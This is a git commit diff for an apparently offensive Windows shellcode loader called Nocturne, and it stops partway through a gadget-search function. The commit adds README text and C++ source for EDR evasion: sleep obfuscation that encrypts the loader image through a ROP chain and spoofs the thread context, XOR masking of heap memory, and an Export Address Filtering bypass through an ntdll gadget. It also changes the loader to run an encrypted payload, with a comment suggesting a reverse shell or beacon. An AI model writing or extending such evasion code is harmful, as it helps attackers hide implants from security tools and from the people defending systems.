Feat: Add zilean sleep obfuscation with stack duplication, heap masking & EAF bypass

This commit is contained in:
Xec412
2026-07-26 23:16:05 +03:00
parent 555bd39caa
commit 4b526dc647
12 changed files with 989 additions and 85 deletions
+29
View File
@@ -82,6 +82,33 @@ The dynamic function table entry is invisible to WinDbg's forensic commands. Typ
<em>WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts</em> <em>WinDbg bypass — .fnent shows donor unwind info, no dynamic table artifacts</em>
</div> </div>
### 😴 Zilean Sleep Obfuscation with Stack Duplication
While the payload sleeps, the loader's entire image is encrypted in memory using a **ROP chain** built from `RtlRegisterWait` and `NtContinue`. The chain is executed on a dedicated worker thread and follows this sequence:
1. **WaitForSingleObjectEx** — Gate: waits for the trigger event
2. **VirtualProtect** — Changes the image to `PAGE_READWRITE`
3. **SystemFunction040** — Encrypts the image in-place (RtlEncryptMemory)
4. **NtGetContextThread** — Backs up the current thread's context
5. **NtSetContextThread** — Replaces it with a **spoofed context captured from a legitimate thread** (stack duplication)
6. **WaitForSingleObjectEx** — Sleeps for the configured timeout
7. **NtSetContextThread** — Restores the original context from backup
8. **SystemFunction041** — Decrypts the image back (RtlDecryptMemory)
9. **VirtualProtect** — Restores `PAGE_EXECUTE_READ`
10. **SetEvent** — Signals completion
During sleep, if an EDR calls `GetThreadContext`, it sees the duplicated stack of a legitimate Windows thread — not the loader's real context. Combined with BYOUD stack spoofing during execution, the thread appears clean both while running and while sleeping.
### 🔐 Heap Masking
Before the image is encrypted, all **busy heap allocations** across every process heap (except the default process heap) are XOR-encrypted with a per-cycle random key. This prevents EDR memory scanners from finding decrypted strings, shellcode fragments, or configuration data in heap memory while the loader sleeps. The same key is used to decrypt after wakeup — the operation is fully symmetric.
### 🛡️ EAF Bypass (ShieldedRead)
Export Address Filtering (EAF) uses hardware breakpoints to detect when untrusted code reads the export tables of critical modules like `ntdll.dll` and `kernel32.dll`. Nocturne bypasses this using a **gadget-based read primitive**: instead of directly dereferencing export table pointers, all reads are routed through a `MOV RAX, [RAX]; RET` gadget found inside `ntdll.dll` itself. Since the actual memory read occurs within a signed Microsoft module, EAF's hardware breakpoints see a legitimate caller and do not trigger.
The `ShieldedRead` assembly stub accepts a target address and an optional gadget pointer. If a gadget is provided, it jumps to the gadget to perform the read; otherwise it falls back to a normal dereference. The `LdrShieldedSymbolResolveByHash` resolver uses this for every export table access — PE header parsing, name array iteration, ordinal lookup, and function address resolution all go through the gadget.
### 🔒 CRT-Free Build ### 🔒 CRT-Free Build
The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface. The entire project compiles with `/NODEFAULTLIB` and a custom entry point. Memory management uses `HeapAlloc`/`HeapFree` through operator overrides. `memset` and `memcpy` are implemented as custom intrinsics. This eliminates CRT dependencies that would inflate the binary and add unnecessary attack surface.
@@ -133,11 +160,13 @@ Nocturne/
│ ├── Resolver.cpp # PEB walking & hash-based API resolution │ ├── Resolver.cpp # PEB walking & hash-based API resolution
│ ├── StackUtils.cpp # Stack origin & cookie detection │ ├── StackUtils.cpp # Stack origin & cookie detection
│ ├── Proxy.cpp # Thread pool proxied API calls │ ├── Proxy.cpp # Thread pool proxied API calls
│ ├── Zilean.cpp # Sleep obfuscation, heap masking & stack duplication
│ ├── Intrinsic.cpp # Custom memset/memcpy │ ├── Intrinsic.cpp # Custom memset/memcpy
│ ├── Debug.cpp # Debug console allocation │ ├── Debug.cpp # Debug console allocation
│ ├── ShadowGate.asm # Payload execution stub │ ├── ShadowGate.asm # Payload execution stub
│ ├── StackSearch.asm # Stack scanning primitives │ ├── StackSearch.asm # Stack scanning primitives
│ ├── SetRegister.asm # Register manipulation │ ├── SetRegister.asm # Register manipulation
│ ├── Unguard.asm # EAF bypass gadget-based read primitive
│ └── ApiStub.asm # Indirect syscall stubs │ └── ApiStub.asm # Indirect syscall stubs
└── docs/ └── docs/
└── screenshots/ └── screenshots/
+103 -2
View File
@@ -33,6 +33,22 @@ struct WIN32_API {
_In_opt_ PLARGE_INTEGER Timeout _In_opt_ PLARGE_INTEGER Timeout
); );
NTSTATUS(NTAPI* NtSignalAndWaitForSingleObject)(
_In_ HANDLE SignalHandle,
_In_ HANDLE WaitHandle,
_In_ BOOLEAN Alertable,
_In_opt_ PLARGE_INTEGER Timeout
);
NTSTATUS(NTAPI* RtlRegisterWait)(
_Out_ PHANDLE WaitHandle,
_In_ HANDLE Handle,
_In_ WAITORTIMERCALLBACKFUNC Function,
_In_opt_ PVOID Context,
_In_ ULONG Milliseconds,
_In_ ULONG Flags
);
NTSTATUS(NTAPI* NtCreateEvent)( NTSTATUS(NTAPI* NtCreateEvent)(
_Out_ PHANDLE EventHandle, _Out_ PHANDLE EventHandle,
_In_ ACCESS_MASK DesiredAccess, _In_ ACCESS_MASK DesiredAccess,
@@ -41,11 +57,55 @@ struct WIN32_API {
_In_ BOOLEAN InitialState _In_ BOOLEAN InitialState
); );
NTSTATUS(NTAPI* NtResumeThread)(
_In_ HANDLE ThreadHandle,
_Out_opt_ PULONG PreviousSuspendCount
);
NTSTATUS(NTAPI* NtSuspendThread)(
_In_ HANDLE ThreadHandle,
_Out_opt_ PULONG PreviousSuspendCount
);
NTSTATUS(NTAPI* NtOpenThread)(
_Out_ PHANDLE ThreadHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ PCLIENT_ID ClientId
);
NTSTATUS(NTAPI* NtQuerySystemInformation)(
_In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,
_Inout_ PVOID SystemInformation,
_In_ ULONG SystemInformationLength,
_Out_opt_ PULONG ReturnLength
);
NTSTATUS(NTAPI* NtSetEvent)( NTSTATUS(NTAPI* NtSetEvent)(
_In_ HANDLE EventHandle, _In_ HANDLE EventHandle,
_Out_opt_ PLONG PreviousState _Out_opt_ PLONG PreviousState
); );
NTSTATUS(NTAPI* NtGetContextThread)(
_In_ HANDLE ThreadHandle,
_Inout_ PCONTEXT ThreadContext
);
NTSTATUS(NTAPI* NtSetContextThread)(
_In_ HANDLE ThreadHandle,
_In_ PCONTEXT ThreadContext
);
NTSTATUS(NTAPI* NtDuplicateObject)(
_In_ HANDLE SourceProcessHandle,
_In_ HANDLE SourceHandle,
_In_opt_ HANDLE TargetProcessHandle,
_Out_opt_ PHANDLE TargetHandle,
_In_ ACCESS_MASK DesiredAccess,
_In_ ULONG HandleAttributes,
_In_ ULONG Options
);
BOOLEAN(NTAPI* RtlAddFunctionTable)( BOOLEAN(NTAPI* RtlAddFunctionTable)(
_In_ PRUNTIME_FUNCTION FunctionTable, _In_ PRUNTIME_FUNCTION FunctionTable,
_In_ ULONG EntryCount, _In_ ULONG EntryCount,
@@ -60,6 +120,10 @@ struct WIN32_API {
_Inout_ PRTL_SRWLOCK SRWLock _Inout_ PRTL_SRWLOCK SRWLock
); );
VOID(NTAPI* RtlCaptureContext)(
_Out_ PCONTEXT ContextRecord
);
VOID(NTAPI* RtlReleaseSRWLockExclusive)( VOID(NTAPI* RtlReleaseSRWLockExclusive)(
_Inout_ PRTL_SRWLOCK SRWLock _Inout_ PRTL_SRWLOCK SRWLock
); );
@@ -81,6 +145,7 @@ struct WIN32_API {
_Out_ PUNWIND_HISTORY_TABLE HistoryTable _Out_ PUNWIND_HISTORY_TABLE HistoryTable
); );
PVOID NtContinue;
} Nt; } Nt;
struct { struct {
@@ -97,6 +162,28 @@ struct WIN32_API {
_In_opt_ LPCWSTR lpModuleName _In_opt_ LPCWSTR lpModuleName
); );
BOOL(WINAPI* HeapWalk)(
_In_ HANDLE hHeap,
_Inout_ LPPROCESS_HEAP_ENTRY lpEntry
);
DWORD(WINAPI* WaitForSingleObjectEx)(
_In_ HANDLE hHandle,
_In_ DWORD dwMilliseconds,
_In_ BOOL bAlertable
);
BOOL(WINAPI* VirtualProtect)(
_In_ LPVOID lpAddress,
_In_ SIZE_T dwSize,
_In_ DWORD flNewProtect,
_Out_ PDWORD lpflOldProtect
);
BOOL(WINAPI* SetEvent)(
_In_ HANDLE hEvent
);
} K32; } K32;
struct { struct {
@@ -124,10 +211,15 @@ struct WIN32_API {
PVOID SystemFunction032; PVOID SystemFunction032;
} AdvApi32; } AdvApi32;
struct {
PVOID SystemFunction040;
PVOID SystemFunction041;
} CryptBase;
}; };
/* Global Object */ /* Global Objects */
inline WIN32_API g_Win32{}; inline WIN32_API g_Win32{};
inline HANDLE g_PayloadReady = nullptr;
/* External assembly functions */ /* External assembly functions */
extern "C" ULONG_PTR CaptureStackPointer(); extern "C" ULONG_PTR CaptureStackPointer();
@@ -139,6 +231,10 @@ extern "C" ULONG_PTR ShadowGate(
_In_ PSHADOWGATE_PARAMS pShadowParams _In_ PSHADOWGATE_PARAMS pShadowParams
); );
extern "C" ULONG_PTR ShadowGateEnd(); extern "C" ULONG_PTR ShadowGateEnd();
extern "C" ULONG_PTR ShieldedRead(
_In_ ULONG_PTR uTarget,
_In_opt_ ULONG_PTR uGadget
);
/*================================================ /*================================================
@ Function Pointers @ Function Pointers
@@ -149,7 +245,7 @@ namespace Resolver {
PVOID LdrGetModuleByHash( PVOID LdrGetModuleByHash(
_In_ ULONG uModuleHash _In_ ULONG uModuleHash
); );
PVOID LdrGetSymbolByHash( PVOID LdrShieldedSymbolResolveByHash(
_In_ PVOID pModule, _In_ PVOID pModule,
_In_ ULONG uFunctionHash _In_ ULONG uFunctionHash
); );
@@ -352,4 +448,9 @@ namespace Proxy {
); );
} }
/* From Zilean.cpp */
VOID MaskImage(
_In_ DWORD dwTimeout
);
#endif /* COMMON.H */ #endif /* COMMON.H */
+64 -20
View File
@@ -17,7 +17,9 @@ namespace Win32API {
PVOID Kernel32 = nullptr; PVOID Kernel32 = nullptr;
PVOID Ntdll = nullptr; PVOID Ntdll = nullptr;
PVOID AdvApi = nullptr; PVOID AdvApi = nullptr;
PVOID CryptBase = nullptr;
WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' }; WCHAR AdvStr[] = { L'a', L'd', L'v', L'a', L'p', L'i', L'3', L'2', L'.', L'd', L'l', L'l', L'\0' };
WCHAR CryptStr[] = { L'c', L'r', L'y', L'p', L't', L'b', L'a', L's', L'e', L'.', L'd', L'l', L'l', L'\0' };
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[*] Initializing Win32 APIs \n"); DBGPRINT("[*] Initializing Win32 APIs \n");
@@ -37,9 +39,9 @@ namespace Win32API {
return FALSE; return FALSE;
} }
g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW")); g_Win32.K32.LoadLibraryW = (decltype(g_Win32.K32.LoadLibraryW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("LoadLibraryW"));
g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW")); g_Win32.K32.GetModuleHandleW = (decltype(g_Win32.K32.GetModuleHandleW))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("GetModuleHandleW"));
g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem")); g_Win32.Nt.RtlQueueWorkItem = (decltype(g_Win32.Nt.RtlQueueWorkItem))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlQueueWorkItem"));
if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem) if (!g_Win32.K32.LoadLibraryW || !g_Win32.K32.GetModuleHandleW || !g_Win32.Nt.RtlQueueWorkItem)
return FALSE; return FALSE;
@@ -51,37 +53,79 @@ namespace Win32API {
return FALSE; return FALSE;
} }
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrGetSymbolByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject")); if (!(CryptBase = Proxy::WorkItemLoadLibrary(CryptStr))) {
#ifdef DEBUG
DBGPRINT("[-] WorkItemLoadLibrary -> Failed To Load CryptBase - %s.%d \n", GET_FILENAME(__FILE__), __LINE__);
#endif
return FALSE;
}
if (!g_Win32.K32.WaitForSingleObject) /* Initialize Kernel32 Apis */
g_Win32.K32.WaitForSingleObject = (decltype(g_Win32.K32.WaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObject"));
g_Win32.K32.HeapWalk = (decltype(g_Win32.K32.HeapWalk))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("HeapWalk"));
g_Win32.K32.WaitForSingleObjectEx = (decltype(g_Win32.K32.WaitForSingleObjectEx))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("WaitForSingleObjectEx"));
g_Win32.K32.VirtualProtect = (decltype(g_Win32.K32.VirtualProtect))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("VirtualProtect"));
g_Win32.K32.SetEvent = (decltype(g_Win32.K32.SetEvent))Resolver::LdrShieldedSymbolResolveByHash(Kernel32, Hash::ExprHashStrDjb2("SetEvent"));
if (!g_Win32.K32.WaitForSingleObject || !g_Win32.K32.HeapWalk || !g_Win32.K32.WaitForSingleObjectEx || !g_Win32.K32.VirtualProtect || !g_Win32.K32.SetEvent)
return FALSE; return FALSE;
g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess")); //======================================================================================================================================================================
g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject")); /* Initialize Ntdll Apis */
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive")); g_Win32.Nt.NtCreateEvent = (decltype(g_Win32.Nt.NtCreateEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtCreateEvent"));
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable")); g_Win32.Nt.NtQueryInformationProcess = (decltype(g_Win32.Nt.NtQueryInformationProcess))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQueryInformationProcess"));
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable")); g_Win32.Nt.NtSetEvent = (decltype(g_Win32.Nt.NtSetEvent))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetEvent"));
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry")); g_Win32.Nt.NtWaitForSingleObject = (decltype(g_Win32.Nt.NtWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtWaitForSingleObject"));
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive")); g_Win32.Nt.NtSignalAndWaitForSingleObject = (decltype(g_Win32.Nt.NtSignalAndWaitForSingleObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSignalAndWaitForSingleObject"));
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrGetSymbolByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind")); g_Win32.Nt.NtContinue = (decltype(g_Win32.Nt.NtContinue))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtContinue"));
g_Win32.Nt.NtOpenThread = (decltype(g_Win32.Nt.NtOpenThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtOpenThread"));
g_Win32.Nt.NtQuerySystemInformation = (decltype(g_Win32.Nt.NtQuerySystemInformation))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtQuerySystemInformation"));
g_Win32.Nt.NtResumeThread = (decltype(g_Win32.Nt.NtResumeThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtResumeThread"));
g_Win32.Nt.NtSuspendThread = (decltype(g_Win32.Nt.NtSuspendThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSuspendThread"));
g_Win32.Nt.NtGetContextThread = (decltype(g_Win32.Nt.NtGetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtGetContextThread"));
g_Win32.Nt.NtSetContextThread = (decltype(g_Win32.Nt.NtSetContextThread))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtSetContextThread"));
g_Win32.Nt.NtDuplicateObject = (decltype(g_Win32.Nt.NtDuplicateObject))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("NtDuplicateObject"));
g_Win32.Nt.RtlAcquireSRWLockExclusive = (decltype(g_Win32.Nt.RtlAcquireSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAcquireSRWLockExclusive"));
g_Win32.Nt.RtlAddFunctionTable = (decltype(g_Win32.Nt.RtlAddFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlAddFunctionTable"));
g_Win32.Nt.RtlCaptureContext = (decltype(g_Win32.Nt.RtlCaptureContext))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlCaptureContext"));
g_Win32.Nt.RtlDeleteFunctionTable = (decltype(g_Win32.Nt.RtlDeleteFunctionTable))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlDeleteFunctionTable"));
g_Win32.Nt.RtlRegisterWait = (decltype(g_Win32.Nt.RtlRegisterWait))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlRegisterWait"));
g_Win32.Nt.RtlLookupFunctionEntry = (decltype(g_Win32.Nt.RtlLookupFunctionEntry))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlLookupFunctionEntry"));
g_Win32.Nt.RtlReleaseSRWLockExclusive = (decltype(g_Win32.Nt.RtlReleaseSRWLockExclusive))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlReleaseSRWLockExclusive"));
g_Win32.Nt.RtlVirtualUnwind = (decltype(g_Win32.Nt.RtlVirtualUnwind))Resolver::LdrShieldedSymbolResolveByHash(Ntdll, Hash::ExprHashStrDjb2("RtlVirtualUnwind"));
if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess || if (!g_Win32.Nt.NtCreateEvent || !g_Win32.Nt.NtQueryInformationProcess ||
!g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive || !g_Win32.Nt.NtSetEvent || !g_Win32.Nt.RtlAcquireSRWLockExclusive ||
!g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable || !g_Win32.Nt.RtlAddFunctionTable || !g_Win32.Nt.RtlDeleteFunctionTable ||
!g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive || !g_Win32.Nt.RtlLookupFunctionEntry || !g_Win32.Nt.RtlReleaseSRWLockExclusive ||
!g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject) !g_Win32.Nt.RtlVirtualUnwind || !g_Win32.Nt.NtWaitForSingleObject || !g_Win32.Nt.NtSignalAndWaitForSingleObject ||
!g_Win32.Nt.NtContinue || !g_Win32.Nt.NtOpenThread || !g_Win32.Nt.NtResumeThread || !g_Win32.Nt.NtQuerySystemInformation ||
!g_Win32.Nt.NtSuspendThread || !g_Win32.Nt.RtlCaptureContext || !g_Win32.Nt.RtlRegisterWait ||
!g_Win32.Nt.NtGetContextThread || !g_Win32.Nt.NtSetContextThread || !g_Win32.Nt.NtDuplicateObject)
return FALSE; return FALSE;
g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey")); //======================================================================================================================================================================
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW")); /* Initialize AdvApi32 Apis */
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrGetSymbolByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032")); g_Win32.AdvApi32.RegCloseKey = (decltype(g_Win32.AdvApi32.RegCloseKey))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegCloseKey"));
g_Win32.AdvApi32.RegOpenKeyExW = (decltype(g_Win32.AdvApi32.RegOpenKeyExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegOpenKeyExW"));
g_Win32.AdvApi32.RegQueryValueExW = (decltype(g_Win32.AdvApi32.RegQueryValueExW))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("RegQueryValueExW"));
g_Win32.AdvApi32.SystemFunction032 = (decltype(g_Win32.AdvApi32.SystemFunction032))Resolver::LdrShieldedSymbolResolveByHash(AdvApi, Hash::ExprHashStrDjb2("SystemFunction032"));
if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032) if (!g_Win32.AdvApi32.RegCloseKey || !g_Win32.AdvApi32.RegOpenKeyExW || !g_Win32.AdvApi32.RegQueryValueExW || !g_Win32.AdvApi32.SystemFunction032)
return FALSE; return FALSE;
//======================================================================================================================================================================
/* Initialize CryptBase Apis */
g_Win32.CryptBase.SystemFunction040 = (decltype(g_Win32.CryptBase.SystemFunction040))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction040"));
g_Win32.CryptBase.SystemFunction041 = (decltype(g_Win32.CryptBase.SystemFunction041))Resolver::LdrShieldedSymbolResolveByHash(CryptBase, Hash::ExprHashStrDjb2("SystemFunction041"));
if (!g_Win32.CryptBase.SystemFunction040 || !g_Win32.CryptBase.SystemFunction041)
return FALSE;
#ifdef DEBUG #ifdef DEBUG
DBGPRINT("[+] Success \n"); DBGPRINT("[+] Success \n");
#endif #endif
+21
View File
@@ -78,6 +78,26 @@
#define CALL_NEAR_QPTR 0xFF15 #define CALL_NEAR_QPTR 0xFF15
#define CALL_FAR_QPTR 0x0015FF48 #define CALL_FAR_QPTR 0x0015FF48
/*===================================
# Sleep Obfuscation
=====================================*/
typedef struct _USTRING {
DWORD Length;
DWORD MaximumLength;
PBYTE Buffer;
} USTRING, * PUSTRING;
typedef struct _SLEEP_CONTEXT {
PVOID pModule; // Sacrificial DLL base
PVOID pTextBase; // Loader .text base
SIZE_T szTextSize; // Loader .text size
HANDLE hPayloadThread; // Payload thread handle
HANDLE hHeap; // Process heap
BYTE Key[16]; // RC4 key
DWORD dwKeySize; // Key size
DWORD dwSleepMs; // Sleep interval
} SLEEP_CONTEXT, * PSLEEP_CONTEXT;
/*=================================== /*===================================
# Unwind Flags # Unwind Flags
=====================================*/ =====================================*/
@@ -93,6 +113,7 @@
typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect); typedef VOID(NTAPI* fnLdrProtectMrdata)(_In_ BOOL Protect);
typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); typedef VOID(NTAPI* fnRtlAcquireSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock);
typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock); typedef VOID(NTAPI* fnRtlReleaseSRWLockExclusive)(_Inout_ PRTL_SRWLOCK SRWLock);
typedef NTSTATUS(NTAPI* fnSystemFunction032)(_Inout_ PUSTRING Data, _In_ PUSTRING Key);
/*=================================== /*===================================
# Typedefs # Typedefs
+33 -6
View File
@@ -1,6 +1,6 @@
/* Main.cpp /* Main.cpp
* *
* NOTE: For testing call stack spoofing, use a persistent * NOTE: For testing call stack spoofing and sleep obfuscation, use a persistent
* payload that does not exit immediately (e.g. a reverse shell or a long-running * payload that does not exit immediately (e.g. a reverse shell or a long-running
* beacon). Short-lived payloads like exec/calc will terminate before you can * beacon). Short-lived payloads like exec/calc will terminate before you can
* inspect the spoofed call stack. * inspect the spoofed call stack.
@@ -56,10 +56,23 @@ VOID XorDecrypt(PBYTE pPayload, SIZE_T sPayloadSize, PBYTE pKey, SIZE_T sKeySize
} }
} }
struct PAYLOAD_ARGS {
PBYTE pBuffer;
DWORD dwSize;
};
VOID NTAPI PayloadWorker(PVOID Context) {
PAYLOAD_ARGS* pArgs = (PAYLOAD_ARGS*)Context;
StackSpoof::ExecuteWithSpoofedStack(pArgs->pBuffer, pArgs->dwSize);
}
VOID ZileanSleep(DWORD dwTimeout);
int main() { int main() {
PBYTE Data = (PBYTE)CipherText; PBYTE Data = (PBYTE)CipherText;
SIZE_T Size = sizeof(CipherText); SIZE_T Size = sizeof(CipherText);
DWORD Timeout = 6 * 1000;
#ifdef DEBUG #ifdef DEBUG
CreateDebugConsole(); CreateDebugConsole();
@@ -88,11 +101,25 @@ int main() {
DBGPRINT("[+] Success \n"); DBGPRINT("[+] Success \n");
#endif #endif
/* Execute payload with stack spoofing */ /* Create event for payload readiness signaling */
StackSpoof::ExecuteWithSpoofedStack( g_Win32.Nt.NtCreateEvent(&g_PayloadReady, EVENT_ALL_ACCESS, nullptr, NotificationEvent, FALSE);
Data,
Size /* Queue payload on worker thread — runs ExecuteWithSpoofedStack */
); PAYLOAD_ARGS Args = { Data, (DWORD)Size };
g_Win32.Nt.RtlQueueWorkItem((WORKERCALLBACKFUNC)PayloadWorker, &Args, WT_EXECUTEDEFAULT);
/* Wait until payload signals it's ready (right before ShadowGate call) */
g_Win32.Nt.NtWaitForSingleObject(g_PayloadReady, FALSE, nullptr);
Macro::DeleteHandle(g_PayloadReady);
#ifdef DEBUG
DBGPRINT("\n[+] Payload Started, Beginning Sleep Obfuscation \n");
#endif
/* Sleep obfuscation loop */
while (TRUE) {
MaskImage(Timeout);
}
return 0; return 0;
} }
+1 -1
View File
@@ -105,7 +105,7 @@ NTSTATUS Proxy::WorkItemNtProtectVirtualMemory(
HANDLE EventHandle = nullptr; HANDLE EventHandle = nullptr;
NTSTATUS Status = STATUS_SUCCESS; NTSTATUS Status = STATUS_SUCCESS;
PROTECT_MEMORY_CTX Ctx = { PROTECT_MEMORY_CTX Ctx = {
.NtProtectVirtualMemory = Resolver::LdrGetSymbolByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")), .NtProtectVirtualMemory = Resolver::LdrShieldedSymbolResolveByHash(Resolver::LdrGetModuleByHash(Hash::ExprHashStrDjb2(L"ntdll.dll")),
Hash::ExprHashStrDjb2("NtProtectVirtualMemory")), Hash::ExprHashStrDjb2("NtProtectVirtualMemory")),
.Args = { .Args = {
+46 -30
View File
@@ -43,6 +43,25 @@ PVOID Resolver::LdrGetModuleByHash(
return nullptr; return nullptr;
} }
PVOID FindShieldGadget(
) {
ULONG_PTR Memory = { 0 };
BYTE Pattern[] = {
0x48, 0x8B,
0x00, 0xC3
};
